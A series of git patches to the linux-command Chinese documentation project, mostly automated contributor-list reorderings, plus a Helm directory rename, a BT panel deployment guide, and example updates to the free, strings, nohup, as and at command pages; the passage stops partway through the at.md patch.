hotdogc1017 @@ -77,39 +77,40 @@ Deny dayday cxalc -Mystic -zyimm -七朔 -孤城落寞 -尘埃 -Wei Xu -Loofra -ReZero -极简XksA -移动的红烧肉 -继刚 -老犁 -Kyofin -谢民皆 -远方 -Wendy May +Forever121 Yidan Wang -rexlin600 -sfwwslm -shc -shuangcui -snovey -tangke -tutianyu101 -UniqueDing -weibk -will -Lingfeng Wang -yanyx -zjlovezj -zodiac -zoomdong +Wendy May +远方 +谢民皆 +Kyofin +老犁 +继刚 +移动的红烧肉 +极简XksA +ReZero +Loofra +Wei Xu +尘埃 +孤城落寞 +七朔 +zyimm zuixin369 +zoomdong +zodiac +zjlovezj +yanyx +Lingfeng Wang +weibk +UniqueDing +tutianyu101 +tangke +snovey +shuangcui +shc +sfwwslm +rexlin600 +oliver +c2ch MinsonLee Marnm mwei @@ -140,8 +141,6 @@ Azroy Alan 0x_000 -Forever121 -c2ch brinkqiang bell azureology @@ -170,7 +169,8 @@ Rining Wu Ray Yee QinShower -Q.Ben Zheng +Q.Ben Zheng +Mystic

数据来源于 GitHub Contributors，使用action-contributors创建。 From 4997c40f80e78409d4fba3d339e6ccfc8b9158e1 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 20 Sep 2024 19:27:15 +0800 Subject: [PATCH 0937/1019] chore: renamed deploy/helm/ -> k8s/helm/ #606 --- {deploy => k8s}/helm/charts/linux-command/.helmignore | 0 {deploy => k8s}/helm/charts/linux-command/Chart.yaml | 0 {deploy => k8s}/helm/charts/linux-command/README.md | 0 {deploy => k8s}/helm/charts/linux-command/templates/_helpers.tpl | 0 .../helm/charts/linux-command/templates/deployment.yaml | 0 {deploy => k8s}/helm/charts/linux-command/templates/service.yaml | 0 {deploy => k8s}/helm/charts/linux-command/values.yaml | 0 7 files changed, 0 insertions(+), 0 deletions(-) rename {deploy => k8s}/helm/charts/linux-command/.helmignore (100%) rename {deploy => k8s}/helm/charts/linux-command/Chart.yaml (100%) rename {deploy => k8s}/helm/charts/linux-command/README.md (100%) rename {deploy => k8s}/helm/charts/linux-command/templates/_helpers.tpl (100%) rename {deploy => k8s}/helm/charts/linux-command/templates/deployment.yaml (100%) rename {deploy => k8s}/helm/charts/linux-command/templates/service.yaml (100%) rename {deploy => k8s}/helm/charts/linux-command/values.yaml (100%) diff --git a/deploy/helm/charts/linux-command/.helmignore b/k8s/helm/charts/linux-command/.helmignore similarity index 100% rename from deploy/helm/charts/linux-command/.helmignore rename to k8s/helm/charts/linux-command/.helmignore diff --git a/deploy/helm/charts/linux-command/Chart.yaml b/k8s/helm/charts/linux-command/Chart.yaml similarity index 100% rename from deploy/helm/charts/linux-command/Chart.yaml rename to k8s/helm/charts/linux-command/Chart.yaml diff --git a/deploy/helm/charts/linux-command/README.md b/k8s/helm/charts/linux-command/README.md similarity index 100% rename from deploy/helm/charts/linux-command/README.md rename to k8s/helm/charts/linux-command/README.md diff --git a/deploy/helm/charts/linux-command/templates/_helpers.tpl b/k8s/helm/charts/linux-command/templates/_helpers.tpl similarity index 100% rename from deploy/helm/charts/linux-command/templates/_helpers.tpl rename to k8s/helm/charts/linux-command/templates/_helpers.tpl diff --git a/deploy/helm/charts/linux-command/templates/deployment.yaml b/k8s/helm/charts/linux-command/templates/deployment.yaml similarity index 100% rename from deploy/helm/charts/linux-command/templates/deployment.yaml rename to k8s/helm/charts/linux-command/templates/deployment.yaml diff --git a/deploy/helm/charts/linux-command/templates/service.yaml b/k8s/helm/charts/linux-command/templates/service.yaml similarity index 100% rename from deploy/helm/charts/linux-command/templates/service.yaml rename to k8s/helm/charts/linux-command/templates/service.yaml diff --git a/deploy/helm/charts/linux-command/values.yaml b/k8s/helm/charts/linux-command/values.yaml similarity index 100% rename from deploy/helm/charts/linux-command/values.yaml rename to k8s/helm/charts/linux-command/values.yaml From ffc270e9860edf93cd58c1072144e29ac8ed98fa Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 20 Sep 2024 11:28:40 +0000 Subject: [PATCH 0938/1019] doc: update README.md. --- README.md | 72 +++++++++++++++++++++++++++---------------------------- 1 file changed, 36 insertions(+), 36 deletions(-) diff --git a/README.md b/README.md index 0c9bfce4a34..e2995e3f3b2 100644 --- a/README.md +++ b/README.md @@ -289,7 +289,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. 沙漠之子 Shell xhal -will VVatt gggwvg BingCoke @@ -304,7 +303,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Dazhuangw Alterem YH -jcdj666 jqz3.tech juemuren4449 kassadin @@ -318,6 +316,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. miniwater noodles2hg nsnans +oliver +jcdj666 hululu1068 huangyao hotdogc1017 @@ -332,40 +332,39 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Deny dayday cxalc -Forever121 -Yidan Wang -Wendy May -远方 -谢民皆 -Kyofin -老犁 -继刚 -移动的红烧肉 -极简XksA -ReZero -Loofra -Wei Xu -尘埃 -孤城落寞 -七朔 +Mystic zyimm -zuixin369 -zoomdong -zodiac -zjlovezj -yanyx -Lingfeng Wang -weibk -UniqueDing -tutianyu101 -tangke -snovey -shuangcui -shc -sfwwslm +七朔 +孤城落寞 +尘埃 +Wei Xu +Loofra +ReZero +极简XksA +移动的红烧肉 +继刚 +老犁 +Kyofin +谢民皆 +远方 +Wendy May +Yidan Wang rexlin600 -oliver -c2ch +sfwwslm +shc +shuangcui +snovey +tangke +tutianyu101 +UniqueDing +weibk +will +Lingfeng Wang +yanyx +zjlovezj +zodiac +zoomdong +zuixin369 MinsonLee Marnm mwei @@ -396,6 +395,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Azroy Alan 0x_000 +Forever121 +c2ch brinkqiang bell azureology @@ -424,8 +425,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Rining Wu Ray Yee QinShower -Q.Ben Zheng -Mystic +Q.Ben Zheng 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From 5cd5a451b49e996f557abd9201cd94b0e0a87809 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 20 Sep 2024 11:28:41 +0000 Subject: [PATCH 0939/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 72 +++++++++++++++++++-------------------- 1 file changed, 36 insertions(+), 36 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 3c6664e164b..80deae78548 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -34,7 +34,6 @@ 沙漠之子 Shell xhal -will VVatt gggwvg BingCoke @@ -49,7 +48,6 @@ Dazhuangw Alterem YH -jcdj666 jqz3.tech juemuren4449 kassadin @@ -63,6 +61,8 @@ miniwater noodles2hg nsnans +oliver +jcdj666 hululu1068 huangyao hotdogc1017 @@ -77,40 +77,39 @@ Deny dayday cxalc -Forever121 -Yidan Wang -Wendy May -远方 -谢民皆 -Kyofin -老犁 -继刚 -移动的红烧肉 -极简XksA -ReZero -Loofra -Wei Xu -尘埃 -孤城落寞 -七朔 +Mystic zyimm -zuixin369 -zoomdong -zodiac -zjlovezj -yanyx -Lingfeng Wang -weibk -UniqueDing -tutianyu101 -tangke -snovey -shuangcui -shc -sfwwslm +七朔 +孤城落寞 +尘埃 +Wei Xu +Loofra +ReZero +极简XksA +移动的红烧肉 +继刚 +老犁 +Kyofin +谢民皆 +远方 +Wendy May +Yidan Wang rexlin600 -oliver -c2ch +sfwwslm +shc +shuangcui +snovey +tangke +tutianyu101 +UniqueDing +weibk +will +Lingfeng Wang +yanyx +zjlovezj +zodiac +zoomdong +zuixin369 MinsonLee Marnm mwei @@ -141,6 +140,8 @@ Azroy Alan 0x_000 +Forever121 +c2ch brinkqiang bell azureology @@ -169,8 +170,7 @@ Rining Wu Ray Yee QinShower -Q.Ben Zheng -Mystic +Q.Ben Zheng

数据来源于 GitHub Contributors，使用action-contributors创建。 From 06c56e9e88777b46bc358f4d2cfaedb651b48bac Mon Sep 17 00:00:00 2001 From: bestlaw66 <94432849+bestlaw66@users.noreply.github.com> Date: Thu, 31 Oct 2024 11:30:27 +0800 Subject: [PATCH 0940/1019] docs: add BT Panel Deployment Method (#613) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 在国内有大部分用户都在使用宝塔面板管理服务器，因此增加使用宝塔面板部署的教程，可视化的部署文档可以帮助用户更加便捷的部署Linux Command --- README.md | 35 +++++++++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) diff --git a/README.md b/README.md index e2995e3f3b2..870475462a4 100644 --- a/README.md +++ b/README.md @@ -94,6 +94,41 @@ http://localhost:9665/ 通过 Vercel 分配的域名访问，或者自行在设置中绑定域名。 +## 宝塔面板 + +可通过宝塔面板应用商店快速部署 linux-command + +

+部署步骤 + +### 前提 + +* 仅适用于宝塔面板 9.2.0 及以上版本 +* 安装宝塔面板，前往[宝塔面板](https://www.bt.cn/new/download.html)官网，选择正式版的脚本下载安装 + +### 部署 + +1. 登录宝塔面板，在左侧菜单栏中点击 `Docker` +2. 首次会提示安装`Docker`和`Docker Compose`服务，点击立即安装，若已安装请忽略。 +3. 安装完成后在`Docker-应用商店-实用工具`中找到 `linux-command`，点击`安装`，也可以在搜索框直接搜索`linux`。 +4. 设置域名等基本信息，点击`确定` +* 说明： + * 名称：应用名称，默认`linuxcommand_随机字符` + * 版本选择：默认`latest` + * 域名：如您需要通过域名访问，请在此处填写您的域名 + * 允许外部访问：如您需通过`IP+Port`直接访问，请勾选，如您已经设置了域名，请不要勾选此处 + * 端口：默认`3000`，可自行修改 + * CPU 限制：0 为不限制，根据实际需要设置 + * 内存限制：0 为不限制，根据实际需要设置 +5. 提交后面板会自动进行应用初始化，大概需要`1-3`分钟，初始化完成后即可访问。 + +### 访问 linux-command + +* 如果您填写域名，请在浏览器输入您的域名访问，如`http://demo.linux-command`，即可访问 `linux-command` 页面。 +* 如您选择`IP+端口访问`请在浏览器地址栏中输入域名访问 `http://<宝塔面板IP>:6806`，即可访问 `linux-command` 页面。 + +
+ ## Linux命令分类 *这里存放Linux 命令大全并不全，你可以通过[linux-command](https://jaywcjlove.github.io/linux-command/)来搜索，它是把 [command](./assets/command) 目录里面搜集的命令，生成了静态HTML并提供预览以及索引搜索。* From 3ad005aafe6e4f9eb924f8e9e93063b0c4cee27b Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 31 Oct 2024 03:30:54 +0000 Subject: [PATCH 0941/1019] doc: update README.md. --- README.md | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 870475462a4..7fe84730157 100644 --- a/README.md +++ b/README.md @@ -324,6 +324,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. 沙漠之子 Shell xhal +will VVatt gggwvg BingCoke @@ -338,6 +339,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Dazhuangw Alterem YH +jcdj666 jqz3.tech juemuren4449 kassadin @@ -351,8 +353,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. miniwater noodles2hg nsnans -oliver -jcdj666 hululu1068 huangyao hotdogc1017 @@ -367,6 +367,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Deny dayday cxalc +Forever121 Mystic zyimm 七朔 @@ -384,6 +385,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. 远方 Wendy May Yidan Wang +oliver rexlin600 sfwwslm shc @@ -393,7 +395,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. tutianyu101 UniqueDing weibk -will Lingfeng Wang yanyx zjlovezj @@ -430,9 +431,9 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Azroy Alan 0x_000 -Forever121 c2ch brinkqiang +bestlaw66 bell azureology Ashine From 7c36a2f50f29d7e747fa1a32774312230365d64a Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 31 Oct 2024 03:30:54 +0000 Subject: [PATCH 0942/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 80deae78548..cc6ddf65f69 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -34,6 +34,7 @@ 沙漠之子 Shell xhal +will VVatt gggwvg BingCoke @@ -48,6 +49,7 @@ Dazhuangw Alterem YH +jcdj666 jqz3.tech juemuren4449 kassadin @@ -61,8 +63,6 @@ miniwater noodles2hg nsnans -oliver -jcdj666 hululu1068 huangyao hotdogc1017 @@ -77,6 +77,7 @@ Deny dayday cxalc +Forever121 Mystic zyimm 七朔 @@ -94,6 +95,7 @@ 远方 Wendy May Yidan Wang +oliver rexlin600 sfwwslm shc @@ -103,7 +105,6 @@ tutianyu101 UniqueDing weibk -will Lingfeng Wang yanyx zjlovezj @@ -140,9 +141,9 @@ Azroy Alan 0x_000 -Forever121 c2ch brinkqiang +bestlaw66 bell azureology Ashine From 2268588c603129baa8191f51a1e3230ae16ca04e Mon Sep 17 00:00:00 2001 From: chaofan Date: Tue, 12 Nov 2024 10:49:56 +0800 Subject: [PATCH 0943/1019] doc: update command/free.md (#615) Add `-h` args description. --- command/free.md | 1 + 1 file changed, 1 insertion(+) diff --git a/command/free.md b/command/free.md index 7559c114305..11e927b395b 100644 --- a/command/free.md +++ b/command/free.md @@ -24,6 +24,7 @@ free(选项) -s<间隔秒数> # 持续观察内存使用状况； -t # 显示内存总和列； -V # 显示版本信息。 +-h, --human # 自动缩放到最短三位单位的并打印输出 ``` ### 实例 From a607043c9aeb9de834d06d7613cddb25ad827753 Mon Sep 17 00:00:00 2001 From: YEUNGCHIE <30793662+yeungchie@users.noreply.github.com> Date: Tue, 26 Nov 2024 10:20:14 +0800 Subject: [PATCH 0944/1019] doc: update command/strings.md (#617) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `实例` 中的第二个例子的命令错误，缺少管道符 `|` --- command/strings.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/strings.md b/command/strings.md index baf174c6c85..bdc513d0856 100644 --- a/command/strings.md +++ b/command/strings.md @@ -38,7 +38,7 @@ strings /bin/ls 列出ls中所有的ASCII文本： ```shell -cat /bin/ls strings +cat /bin/ls | strings ``` 查找ls中包含libc的字符串，不区分大小写： From fbba20936881da812101e162fc76c088227f006d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 26 Nov 2024 02:20:46 +0000 Subject: [PATCH 0945/1019] doc: update README.md. --- README.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 7fe84730157..6d5641f5c21 100644 --- a/README.md +++ b/README.md @@ -315,6 +315,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. rgshare loverainye lavaicer +YEUNGCHIE SteveLauC Lnkstls James Wang @@ -335,7 +336,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Shan Chenyu Xingwen Zhang Xrtero -YEUNGCHIE Dazhuangw Alterem YH @@ -368,7 +368,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dayday cxalc Forever121 -Mystic +chaofan zyimm 七朔 孤城落寞 @@ -401,6 +401,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zodiac zoomdong zuixin369 +Mystic MinsonLee Marnm mwei From e3700384a490b965b0d97df58c658bed2c4f3e96 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 26 Nov 2024 02:20:47 +0000 Subject: [PATCH 0946/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index cc6ddf65f69..3a73c8c7702 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -25,6 +25,7 @@ rgshare loverainye lavaicer +YEUNGCHIE SteveLauC Lnkstls James Wang @@ -45,7 +46,6 @@ Shan Chenyu Xingwen Zhang Xrtero -YEUNGCHIE Dazhuangw Alterem YH @@ -78,7 +78,7 @@ dayday cxalc Forever121 -Mystic +chaofan zyimm 七朔 孤城落寞 @@ -111,6 +111,7 @@ zodiac zoomdong zuixin369 +Mystic MinsonLee Marnm mwei From f5b04886c016cb7dd5b270134ef7ae0837929455 Mon Sep 17 00:00:00 2001 From: githubwxz Date: Fri, 29 Nov 2024 10:23:26 +0800 Subject: [PATCH 0947/1019] doc: Update README.md (#618) --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 6d5641f5c21..e9fb3880b6c 100644 --- a/README.md +++ b/README.md @@ -35,7 +35,7 @@ **推荐使用的镜像 web 版本** -[**`srebro.cn`**](https://linux.srebro.cn/)，[**`getaifun.com`**](https://getaifun.com/linux)，[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/)，[`linux.alistnas.xyz`](https://linux.alistnas.xyz/)，[`nenufm.com`](https://www.nenufm.com/linux-command/) +[**`linuxsearch.largeinfo.cc`**](http://linuxsearch.largeinfo.cc)，[**`srebro.cn`**](https://linux.srebro.cn/)，[**`getaifun.com`**](https://getaifun.com/linux)，[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/)，[`linux.alistnas.xyz`](https://linux.alistnas.xyz/)，[`nenufm.com`](https://www.nenufm.com/linux-command/) **其它 web 版本** From 84d686c1f700b5419ae47e6dfd3082756862dbeb Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 29 Nov 2024 02:23:58 +0000 Subject: [PATCH 0948/1019] doc: update README.md. --- README.md | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index e9fb3880b6c..32266489134 100644 --- a/README.md +++ b/README.md @@ -317,7 +317,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. lavaicer YEUNGCHIE SteveLauC -Lnkstls +MioMuse James Wang Qliangw Wang Yujia @@ -333,12 +333,13 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. FunKeen Pan, Wen-Ming RichardLCD -Shan Chenyu -Xingwen Zhang -Xrtero Dazhuangw Alterem YH +Shan Chenyu +Xingwen Zhang +Xrtero +hululu1068 jcdj666 jqz3.tech juemuren4449 @@ -352,11 +353,10 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dufu miniwater noodles2hg -nsnans -hululu1068 huangyao hotdogc1017 gcluffy +githubwxz ghy gesty gedune @@ -369,6 +369,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. cxalc Forever121 chaofan +nsnans zyimm 七朔 孤城落寞 From b8b93894b9d7609994afdbfdca5a1b155a213975 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 29 Nov 2024 02:23:59 +0000 Subject: [PATCH 0949/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 3a73c8c7702..a8d7ec9c534 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -27,7 +27,7 @@ lavaicer YEUNGCHIE SteveLauC -Lnkstls +MioMuse James Wang Qliangw Wang Yujia @@ -43,12 +43,13 @@ FunKeen Pan, Wen-Ming RichardLCD -Shan Chenyu -Xingwen Zhang -Xrtero Dazhuangw Alterem YH +Shan Chenyu +Xingwen Zhang +Xrtero +hululu1068 jcdj666 jqz3.tech juemuren4449 @@ -62,11 +63,10 @@ dufu miniwater noodles2hg -nsnans -hululu1068 huangyao hotdogc1017 gcluffy +githubwxz ghy gesty gedune @@ -79,6 +79,7 @@ cxalc Forever121 chaofan +nsnans zyimm 七朔 孤城落寞 From 0775c0d74e6e87f4f6268cff5fde377bbc4cc8bc Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=89=B6=E8=8B=8F=E5=A6=82=E6=98=AF?= <57750156+fusurus@users.noreply.github.com> Date: Sat, 21 Dec 2024 18:57:38 +0800 Subject: [PATCH 0950/1019] doc: Update nohup.md (#621) --- command/nohup.md | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/command/nohup.md b/command/nohup.md index 6a60c8f9a39..8e168243154 100644 --- a/command/nohup.md +++ b/command/nohup.md @@ -47,4 +47,16 @@ nohup wget site.com/file.zip nohup ping -c 10 baidu.com ``` +### 最简单的后台运行 +nohup command & +### 输出默认重定向到当前目录下 nohup.out 文件 +nohup python main.py & +### 自定义输出文件(标准输出和错误输出合并到 main.log) +nohup python main.py >> main.log 2>&1 & +### 与上一个例子相同作用的简写方法 +nohup python main.py &> main.log & +### 不记录输出信息 +nohup python main.py &> /dev/null & +### 不记录输出信息并将程序的进程号写入 pidfile.txt 文件中，方便后续杀死进程 +nohup python main.py &> /dev/null & echo $! > pidfile.txt From a6207d7ab2ccba2e8c10501c7824005688b7dc09 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sat, 21 Dec 2024 19:05:55 +0800 Subject: [PATCH 0951/1019] doc: update command/nohup.md --- command/nohup.md | 51 +++++++++++++++++++++++++++++++++++------------- 1 file changed, 37 insertions(+), 14 deletions(-) diff --git a/command/nohup.md b/command/nohup.md index 8e168243154..e0ee09d8efb 100644 --- a/command/nohup.md +++ b/command/nohup.md @@ -9,23 +9,24 @@ nohup 无论是否将 nohup 命令的输出重定向到终端，输出都将附加到当前目录的 nohup.out 文件中。如果当前目录的 nohup.out 文件不可写，输出重定向到`$HOME/nohup.out`文件中。如果没有文件能创建或打开以用于追加，那么 command 参数指定的命令不可调用。如果标准错误是一个终端，那么把指定的命令写给标准错误的所有输出作为标准输出重定向到相同的文件描述符。 -### 语法 +### 语法 +```shell nohup(选项)(参数) +``` -### 选项 +### 选项 ```shell --help：在线帮助； --version：显示版本信息。 ``` -### 参数 +### 参数 程序及选项：要运行的程序及选项。 -### 实例 - +### 实例 使用nohup命令提交作业，如果使用nohup命令提交作业，那么在缺省情况下该作业的所有输出都被重定向到一个名为nohup.out的文件中，除非另外指定了输出文件： @@ -47,16 +48,38 @@ nohup wget site.com/file.zip nohup ping -c 10 baidu.com ``` -### 最简单的后台运行 +最简单的后台运行 + +```shell nohup command & -### 输出默认重定向到当前目录下 nohup.out 文件 -nohup python main.py & -### 自定义输出文件(标准输出和错误输出合并到 main.log) -nohup python main.py >> main.log 2>&1 & -### 与上一个例子相同作用的简写方法 +``` + +输出默认重定向到当前目录下 nohup.out 文件 + +```shell +nohup python main.py & +``` + +自定义输出文件(标准输出和错误输出合并到 main.log) + +```shell +nohup python main.py >> main.log 2>&1 & +``` + +与上一个例子相同作用的简写方法 + +```shell nohup python main.py &> main.log & -### 不记录输出信息 +``` + +不记录输出信息 + +```shell nohup python main.py &> /dev/null & -### 不记录输出信息并将程序的进程号写入 pidfile.txt 文件中，方便后续杀死进程 -nohup python main.py &> /dev/null & echo $! > pidfile.txt +``` +不记录输出信息并将程序的进程号写入 pidfile.txt 文件中，方便后续杀死进程 + +```shell +nohup python main.py &> /dev/null & echo $! > pidfile.txt +``` \ No newline at end of file From 5b5557f91e2f2d472a1f296fa659c974875e9dc4 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 21 Dec 2024 11:06:33 +0000 Subject: [PATCH 0952/1019] doc: update README.md. --- README.md | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 32266489134..0cc1ae7f14e 100644 --- a/README.md +++ b/README.md @@ -339,7 +339,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Shan Chenyu Xingwen Zhang Xrtero -hululu1068 jcdj666 jqz3.tech juemuren4449 @@ -353,6 +352,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dufu miniwater noodles2hg +nsnans +hululu1068 huangyao hotdogc1017 gcluffy @@ -368,14 +369,13 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dayday cxalc Forever121 -chaofan -nsnans -zyimm +oliver 七朔 孤城落寞 尘埃 Wei Xu Loofra +扶苏如是 ReZero 极简XksA 移动的红烧肉 @@ -386,7 +386,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. 远方 Wendy May Yidan Wang -oliver rexlin600 sfwwslm shc @@ -402,6 +401,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zodiac zoomdong zuixin369 +zyimm +chaofan Mystic MinsonLee Marnm From fc723b6dec1ebe066ab181d22c21b74b91be9481 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 21 Dec 2024 11:06:34 +0000 Subject: [PATCH 0953/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index a8d7ec9c534..782e5d82414 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -49,7 +49,6 @@ Shan Chenyu Xingwen Zhang Xrtero -hululu1068 jcdj666 jqz3.tech juemuren4449 @@ -63,6 +62,8 @@ dufu miniwater noodles2hg +nsnans +hululu1068 huangyao hotdogc1017 gcluffy @@ -78,14 +79,13 @@ dayday cxalc Forever121 -chaofan -nsnans -zyimm +oliver 七朔 孤城落寞 尘埃 Wei Xu Loofra +扶苏如是 ReZero 极简XksA 移动的红烧肉 @@ -96,7 +96,6 @@ 远方 Wendy May Yidan Wang -oliver rexlin600 sfwwslm shc @@ -112,6 +111,8 @@ zodiac zoomdong zuixin369 +zyimm +chaofan Mystic MinsonLee Marnm From 1f11d8a430781027f9abca93c7ba3106ffe6c235 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sat, 21 Dec 2024 19:08:55 +0800 Subject: [PATCH 0954/1019] doc: update command/as.md --- command/as.md | 46 +++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 41 insertions(+), 5 deletions(-) diff --git a/command/as.md b/command/as.md index 622f791b0c3..12578067995 100644 --- a/command/as.md +++ b/command/as.md @@ -5,15 +5,15 @@ as ## 补充说明 -**as命令** GNU组织推出的一款汇编语言编译器，它支持多种不同类型的处理器。 +**as命令** 是GNU组织推出的一款汇编语言编译器，它支持多种不同类型的处理器。 -### 语法 +### 语法 ```shell -as(选项)(参数) +as [选项] [参数] ``` -### 选项 +### 选项 ```shell -ac：忽略失败条件； @@ -33,8 +33,44 @@ as(选项)(参数) --statistics：打印汇编所用的最大空间和总时间。 ``` -### 参数 +### 参数 汇编文件：指定要汇编的源文件。 +### 示例 +编译一个汇编文件并生成目标文件 + +```shell +as -o output.o source.s +``` + +忽略调试指令并生成目标文件 + +```shell +as -ad -o output.o source.s +``` + +生成包含调试信息的目标文件 + +```shell +as -g -o output.o source.s +``` + +包括宏扩展并生成目标文件 + +```shell +as -am -o output.o source.s +``` + +打印汇编所用的最大空间和总时间 + +```shell +as --statistics -o output.o source.s +``` + +跳过空白和注释预处理并生成目标文件 + +```shell +as -f -o output.o source.s +``` \ No newline at end of file From 2a181511e989d95e3f0ec9f802298d65e7d10fe6 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sat, 21 Dec 2024 19:10:44 +0800 Subject: [PATCH 0955/1019] doc: update command/at.md --- command/at.md | 41 ++++++++++++++++++++++++++++++----------- 1 file changed, 30 insertions(+), 11 deletions(-) diff --git a/command/at.md b/command/at.md index 5b3ca031569..352063efe3a 100644 --- a/command/at.md +++ b/command/at.md @@ -5,17 +5,17 @@ at ## 补充说明 -**at命令** 用于在指定时间执行命令。at允许使用一套相当复杂的指定时间的方法。它能够接受在当天的hh:mm（小时:分钟）式的时间指定。假如该时间已过去，那么就放在第二天执行。当然也能够使用midnight（深夜），noon（中午），teatime（饮茶时间，一般是下午4点）等比较模糊的 词语来指定时间。用户还能够采用12小时计时制，即在时间后面加上AM（上午）或PM（下午）来说明是上午还是下午。 也能够指定命令执行的具体日期，指定格式为month day（月 日）或mm/dd/yy（月/日/年）或dd.mm.yy（日.月.年）。指定的日期必须跟在指定时间的后面。 +**at命令** 